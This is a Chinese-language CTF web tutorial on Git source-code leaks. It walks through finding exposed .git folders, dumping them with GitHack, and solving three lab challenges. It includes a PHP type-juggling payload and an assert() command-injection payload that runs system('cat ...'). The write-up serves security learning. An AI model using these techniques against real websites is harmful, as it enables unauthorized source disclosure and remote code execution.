CTF-WEB:Git 源碼泄露


Git 源碼泄露

開發人員會使用 git 進行版本控制,對站點自動部署。但如果配置不當,可能會將 .git 文件夾直接部署到線上環境,這就引起了 git 泄露漏洞,我們可以利用這個漏洞直接獲得網頁源碼。

確定是否存在泄漏

想要確定是否存在這個漏洞,可以通過以下方式。首先是看看有沒有提示醒目地指出 Git,如果有就考慮存在。如果沒有也可以使用 dirsearch 工具掃描后台,如果存在則會掃描出 .git 目錄如圖所示。

當然也可以直接通過網頁訪問 .git 目錄,如果能訪問就說明存在。

也可以試着訪問 .git/head 文件,如果能下載也能推斷存在 Git 源碼泄露。

獲取泄露的源碼

要獲取泄露的源碼,可以使用 GitHack 工具,下載地址。GitHack 是一個 .git 泄露利用腳本,通過泄露的 .git 文件夾下的文件重建還原工程源代碼。在 cmd 命令下鍵入下面的命令,腳本就會把存在 Git 泄露的源碼全部下載下來。

GitHack.py <url>

例題:攻防世界-lottery

打開網頁,發現網頁讓我們買彩票賺錢,隨便買下試試。


看意思應該是要賺夠錢,然后在這個頁面購買才能有 flag。

首先先用御劍掃一下后台,發現有個 robot 協議文件。

打開它看到 Git,因此這個網頁應該存在 Git 源碼泄露。

使用 GitHack 掃描 url,成功把泄露的文件都下載下來。

GitHack.py http://220.249.52.133:58698/.git/



打開其中的 “api.php” 文件審計代碼,注意到這里有個 buy() 函數,這個是我們在網頁買彩票會調用的函數。其中我們看到 numbers 這個變量是我們能操作的,函數會以數組的形式提取每位數字。同時這個變量在和隨機生成的 win_numbers 變量比較時使用的是 “==”,也就是說可以用弱類型來繞過。

function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i = 0; $i < 7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

由於隨機變量是數字,因此我們可以使用 true 來滿足比較,但是我們顯然不能在輸入框輸入 7 個 “true”。因此我們考慮修改數據包,通過抓包發現數據的傳輸是通過傳一個映射來上傳的。

因此抓包之后修改 numbers 變量為一個數組,其中的 7 個變量都是 true。放包之后就能夠快速賺錢了,賺夠錢后購買得到 flag。

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

例題:攻防世界-mfw

打開網頁隨便逛逛,在 about 頁面發現他使用了 Git,也就是說可能存在 Git 源碼泄露。

使用 GitHack 掃描 url,成功把泄露的文件都下載下來。

GitHack.py http://220.249.52.133:58698/.git/


注意到 templates 目錄下有個 flag.php 文件,但是這個文件直接訪問是看不到東西的,我們還是要在網頁上想辦法看到這個文件的內容。

打開 index.php 文件得到題目的源碼,源碼會接收一個 page 參數。

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} 
else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

輸出 flag 要滿足以下 2 句代碼,注意到第二句代碼是個 assert() 斷言,它可以將參數作為代碼來執行。

$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")

因此我們考慮讓斷言執行 cat 命令,直接回顯目錄下的 flag.php 文件,這樣就能看到其中的內容了。構造出的 payload 如下,上傳得到 flag。

?page=abc') or system("cat templates/flag.php");//


這個參數和上述的 file 變量替換,等同於執行了以下代碼。首先因為網頁不存在 abc 頁面,所以使用 strpos() 函數會返回 false,因此代碼會執行 or 后面的 system() 函數。最后認為添加個注釋,讓后面的代碼不要執行。

assert("strpos('templates/?page=abc') or system("cat templates/flag.php");//.php', '..') === false")

例題:JMUCTF-leak_snake

根據提示可能是 git 泄露,先訪問 .git/head 目錄確認下。

既然知道了有 git 泄露,使用 GItHack 腳本得到之前的全部版本。

現在已經有所有的需要的文件了,顯然 flag 在 flag.html 中。

注意到有 31 個版本,接下來查看一下時光機 git log。

因此我們懷疑 flag 被分散在了這 31 個文件洪,使用 git diff 兩兩比較不同,31 個相鄰的都比較。

終於搞完了,把所有的不同字符串成一句話得到 flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM